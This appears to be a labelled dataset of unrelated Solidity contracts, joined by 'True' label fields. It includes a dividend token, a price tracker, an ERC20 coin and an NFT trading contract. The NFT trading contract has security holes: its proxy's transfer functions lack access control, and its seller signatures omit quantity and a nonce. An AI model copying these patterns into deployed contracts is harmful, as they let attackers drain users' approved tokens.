// gained funds from selling tokens + bonus funds from referrals
// int because "user.funds_correction" can be negative
int d = int(user.gained_funds.add(user.ref_funds));
require(d >= 0);
// avoid zero divizion
if (total_supply > 0) {
// profit is proportional to stake
d = d.add(int(shared_profit.mul(user.tokens) / total_supply));
}
// correction
// d -= user.funds_correction
if (user.funds_correction > 0) {
d = d.sub(user.funds_correction);
}
else if (user.funds_correction < 0) {
d = d.add(-user.funds_correction);
}
// just in case
require(d >= 0);
// total sum must be positive uint
return uint(d);
}
/*
* @dev Amount of tokens can be gained from given amount of funds
*/
function expectedTokens(uint funds, bool apply_fee) public view returns (uint) {
if (funds == 0) {
return 0;
}
if (apply_fee) {
(,uint _funds) = fee_purchase.split(funds);
funds = _funds;
}
(uint tokens,) = fundsToTokens(funds);
return tokens;
}
/*
* @dev Amount of funds can be gained from given amount of tokens
*/
function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) {
// empty tokens in total OR no tokens was sold
if (tokens == 0 || total_supply == 0) {
return 0;
}
// more tokens than were mined in total, just exclude unnecessary tokens from calculating
else if (tokens > total_supply) {
tokens = total_supply;
}
(uint funds,) = tokensToFunds(tokens);
if (apply_fee) {
(,uint _funds) = fee_selling.split(funds);
funds = _funds;
}
return funds;
}
/*
* @dev Purchase price of next 1 token
*/
function buyPrice() public view returns (uint) {
return price / precision_factor;
}
/*
* @dev Selling price of next 1 token
*/
function sellPrice() public view returns (uint) {
return price.sub(price_offset) / precision_factor;
}
// ==== Private API ==== //
/*
* @dev Mint given amount of tokens to given user
*/
function mintTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
bool not_first_minting = total_supply > 0;
// make correction to keep dividends the rest of the users
if (not_first_minting) {
shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply;
}
// add tokens
total_supply = total_supply.add(tokens);
user.tokens = user.tokens.add(tokens);
// make correction to keep dividends of user
if (not_first_minting) {
user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply));
}
}
/*
* @dev Burn given amout of tokens from given user
*/
function burnTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
// keep current dividents of user if last tokens will be burned
uint dividends_from_tokens = 0;
if (total_supply == tokens) {
dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply;
}
// make correction to keep dividends the rest of the users
shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply;
// sub tokens
total_supply = total_supply.sub(tokens);
user.tokens = user.tokens.sub(tokens);
// make correction to keep dividends of the user
// if burned not last tokens
if (total_supply > 0) {
user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply));
}
// if burned last tokens
else if (dividends_from_tokens != 0) {
user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens));
}
}
/*
* @dev Rewards the referrer from given amount of funds
*/
function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) {
UserRecord storage referrer = user_data[referrer_addr];
if (referrer.tokens >= minimal_stake) {
(uint reward_funds, uint taxed_funds) = fee_referral.split(funds);
referrer.ref_funds = referrer.ref_funds.add(reward_funds);
emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now);
return taxed_funds;
}
else {
return funds;
}
}
/*
* @dev Calculate tokens from funds
*
* Given:
* a[1] = price
* d = price_offset
* sum(n) = funds
* Here is used arithmetic progression's equation transformed to a quadratic equation:
* a * n^2 + b * n + c = 0
* Where:
* a = d
* b = 2 * a[1] - d
* c = -2 * sum(n)
* Solve it and first root is what we need - amount of tokens
* So:
* tokens = n
* price = a[n+1]
*
* For details see method below
*/
function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) {
uint b = price.mul(2).sub(price_offset);
uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor));
uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2);
uint anp1 = price.add(price_offset.mul(n) / precision_factor);
return (n, anp1);
}
/*
* @dev Calculate funds from tokens
*
* Given:
* a[1] = sell_price
* d = price_offset
* n = tokens
* Here is used arithmetic progression's equation (-d because of d must be negative to reduce price):
* a[n] = a[1] - d * (n - 1)
* sum(n) = (a[1] + a[n]) * n / 2
* So:
* funds = sum(n)
* price = a[n]
*
* For details see method above
*/
function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) {
uint sell_price = price.sub(price_offset);
uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor);
uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2);
return (sn / precision_factor, an);
}
// ==== Events ==== //
event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time);
event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Withdrawal(address indexed addr, uint funds, uint time);
event Donation(address indexed addr, uint funds, uint time);
event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time);
//ERC20
event Transfer(address indexed from_addr, address indexed to_addr, uint tokens);
}
library SafeMath {
/**
* @dev Multiplies two numbers
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul failed");
return c;
}
/**
* @dev Subtracts two numbers
*/
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "sub failed");
return a - b;
}
/**
* @dev Adds two numbers
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add failed");
return c;
}
/**
* @dev Gives square root from number
*/
function sqrt(uint x) internal pure returns (uint y) {
uint z = add(x, 1) / 2;
y = x;
while (z < y) {
y = z;
z = add(x / z, z) / 2;
}
}
}
library SafeMathInt {
/**
* @dev Subtracts two numbers
*/
function sub(int a, int b) internal pure returns (int) {
int c = a - b;
require(c <= a, "sub failed");
return c;
}
/**
* @dev Adds two numbers
*/
function add(int a, int b) internal pure returns (int) {
int c = a + b;
require(c >= a, "add failed");
return c;
}
}
library Fee {
using SafeMath for uint;
struct fee {
uint num;
uint den;
}
/*
* @dev Splits given value to two parts: tax itself and taxed value
*/
function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) {
if (value == 0) {
return (0, 0);
}
tax = value.mul(f.num) / f.den;
taxed_value = value.sub(tax);
}
/*
* @dev Returns only tax part
*/
function get_tax(fee memory f, uint value) internal pure returns (uint tax) {
if (value == 0) {
return 0;
}
tax = value.mul(f.num) / f.den;
}
}
library ToAddress {
/*
* @dev Transforms bytes to address
*/
function toAddr(bytes source) internal pure returns (address addr) {
assembly {
addr := mload(add(source, 0x14))
}
return addr;
}
} | True | [
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] |
// Copyright (C) 2020 Easy Chain. <https://easychain.tech>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
struct ProtocolBalance {
ProtocolMetadata metadata;
AdapterBalance[] adapterBalances;
}
struct ProtocolMetadata {
string name;
string description;
string websiteURL;
string iconURL;
uint256 version;
}
struct AdapterBalance {
AdapterMetadata metadata;
FullTokenBalance[] balances;
}
struct AdapterMetadata {
address adapterAddress;
string adapterType; // "Asset", "Debt"
}
// token and its underlying tokens (if exist) balances
struct FullTokenBalance {
TokenBalance base;
TokenBalance[] underlying;
}
struct TokenBalance {
TokenMetadata metadata;
uint256 amount;
}
// ERC20-style token metadata
// 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE address is used for ETH
struct TokenMetadata {
address token;
string name;
string symbol;
uint8 decimals;
}
struct Component {
address token;
string tokenType; // "ERC20" by default
uint256 rate; // price per full share (1e18)
}
interface IOneSplit {
function getExpectedReturn(
ERC20 fromToken,
ERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
interface AdapterRegistry {
function getAdapterBalances(
address account,
address[] calldata adapters
)
external
view
returns (AdapterBalance[] memory);
function getFullTokenBalance(
string calldata tokenType,
address token
)
external
view
returns (FullTokenBalance memory);
}
struct AdaptedBalance {
address token;
int256 amount; // can be negative, thus int
}
/**
* @dev BerezkaPriceTracker contract.
* This adapter provides on chain price tracking using 1inch exchange api
* @author Vasin Denis <[email protected]>
*/
contract BerezkaPriceTracker {
string BEREZKA = "Berezka DAO";
ERC20 immutable USDC = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
ERC20 immutable DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
ERC20 immutable USDT = ERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IOneSplit immutable iOneSplit = IOneSplit(0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E);
AdapterRegistry immutable adapterRegistry = AdapterRegistry(0x06FE76B2f432fdfEcAEf1a7d4f6C3d41B5861672);
function getPrice(
address _token
)
public
view
returns (int256)
{
AdaptedBalance[] memory nonEmptyBalances
= getNonEmptyTokenBalances(_token);
return _getTokenBalancePrice(nonEmptyBalances);
}
// Internal functions
function _getTokenBalancePrice(
AdaptedBalance[] memory _balances
)
internal
view
returns (int256)
{
int256 result = 0;
uint256 length = _balances.length;
for (uint256 i = 0; i < length; i++) {
result += getTokenPrice(_balances[i].amount, _balances[i].token);
}
return result;
}
function getNonEmptyTokenBalances(
address _token
)
public
view
returns (AdaptedBalance[] memory)
{
FullTokenBalance memory fullTokenBalance
= adapterRegistry.getFullTokenBalance(BEREZKA, _token);
TokenBalance[] memory tokenBalances = fullTokenBalance.underlying;
uint256 count = 0;
uint256 length = tokenBalances.length;
for (uint256 i = 0; i < length; i++) {
if (tokenBalances[i].amount > 0) {
count++;
}
}
AdaptedBalance[] memory result = new AdaptedBalance[](count);
uint256 index = 0;
for (uint256 i = 0; i < length; i++) {
if (tokenBalances[i].amount > 0) {
result[index] = AdaptedBalance(
tokenBalances[i].metadata.token,
int256(tokenBalances[i].amount * 1e18) / 1e18
);
index++;
}
}
return result;
}
function getTokenPrice(
int256 _amount,
address _token
)
public
view
returns (int256)
{
int8 sign = _amount < 0 ? -1 : int8(1);
uint256 absAmount = _amount < 0 ? uint256(-_amount) : uint256(_amount);
ERC20 token = ERC20(_token);
uint8 count = 0;
uint256 priceUSDC = _getExpectedReturn(token, USDC, absAmount);
if (priceUSDC > 0) {
count++;
}
uint256 priceUSDT = _getExpectedReturn(token, USDT, absAmount);
if (priceUSDT > 0) {
count++;
}
uint256 priceDAIUSDC = 0;
uint256 priceDAI = _getExpectedReturn(token, DAI, absAmount);
if (priceDAI > 0) {
priceDAIUSDC = _getExpectedReturn(DAI, USDC, priceDAI);
if (priceDAIUSDC > 0) {
count++;
}
}
return sign * int256(((priceUSDC + priceDAIUSDC + priceUSDT) / count));
}
function getExpectedReturn(
ERC20 _fromToken,
ERC20 _destToken,
uint256 _amount
)
public
view
returns (uint256)
{
return _getExpectedReturn(_fromToken, _destToken, _amount);
}
function _getExpectedReturn(
ERC20 _fromToken,
ERC20 _destToken,
uint256 _amount
)
internal
view
returns (uint256)
{
try iOneSplit.getExpectedReturn(
_fromToken,
_destToken,
_amount,
1,
0
) returns (uint256 returnAmount, uint256[] memory) {
return returnAmount;
} catch {
return 0;
}
}
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-05-05
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract KingdomCoin is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Kingdom Coin";
symbol = "KING";
decimals = 18;
_totalSupply = 21000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract TransferProxy {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
token.safeTransferFrom(from, to, id, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
contract Trade {
using SafeMath for uint256;
enum BuyingAssetType {ERC1155, ERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
address public owner;
struct Fee {
uint platformFee;
uint assetFee;
uint royaltyFee;
uint price;
address tokenCreator;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
uint unitPrice;
uint amount;
uint tokenId;
uint qty;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) {
buyerFeePermille = _buyerFee;
sellerFeePermille = _sellerFee;
transferProxy = _transferProxy;
owner = msg.sender;
}
function buyerServiceFee() public view virtual returns (uint8) {
return buyerFeePermille;
}
function sellerServiceFee() public view virtual returns (uint8) {
return sellerFeePermille;
}
function setBuyerServiceFee(uint8 _buyerFee) public onlyOwner returns(bool) {
buyerFeePermille = _buyerFee;
emit BuyerFee(buyerFeePermille);
return true;
}
function setSellerServiceFee(uint8 _sellerFee) public onlyOwner returns(bool) {
sellerFeePermille = _sellerFee;
emit SellerFee(sellerFeePermille);
return true;
}
function ownerTransfership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) {
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s);
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress,tokenId,paymentAssetAddress,amount));
require(seller == getSigner(hash, sign), "seller sign verification failed");
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress,tokenId,paymentAssetAddress,amount,qty));
require(buyer == getSigner(hash, sign), "buyer sign verification failed");
}
function getFees(uint paymentAmt, BuyingAssetType buyingAssetType, address buyingAssetAddress, uint tokenId) internal view returns(Fee memory){
address tokenCreator;
uint platformFee;
uint royaltyFee;
uint assetFee;
uint royaltyPermille;
uint price = paymentAmt.mul(1000).div((1000+buyerFeePermille));
uint buyerFee = paymentAmt.sub(price);
uint sellerFee = price.mul(sellerFeePermille).div(1000);
platformFee = buyerFee.add(sellerFee);
if(buyingAssetType == BuyingAssetType.ERC721) {
royaltyPermille = ((IERC721(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC721(buyingAssetAddress).getCreator(tokenId)));
}
if(buyingAssetType == BuyingAssetType.ERC1155) {
royaltyPermille = ((IERC1155(buyingAssetAddress).royaltyFee(tokenId)));
tokenCreator = ((IERC1155(buyingAssetAddress).getCreator(tokenId)));
}
royaltyFee = price.mul(royaltyPermille).div(1000);
assetFee = price.sub(royaltyFee).sub(sellerFee);
return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator);
}
function tradeAsset(Order memory order, Fee memory fee) internal virtual {
if(order.nftType == BuyingAssetType.ERC721) {
transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), order.seller, order.buyer, order.tokenId);
}
if(order.nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), order.seller, order.buyer, order.tokenId, order.qty, "");
}
if(fee.platformFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, owner, fee.platformFee);
}
if(fee.royaltyFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, fee.tokenCreator, fee.royaltyFee);
}
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, order.seller, fee.assetFee);
}
function buyAsset(Order memory order, Sign memory sign) public returns(bool) {
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
order.buyer = msg.sender;
tradeAsset(order, fee);
emit BuyAsset(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function executeBid(Order memory order, Sign memory sign) public returns(bool) {
Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign);
order.seller = msg.sender;
tradeAsset(order, fee);
emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer);
return true;
}
} | True | [
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pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
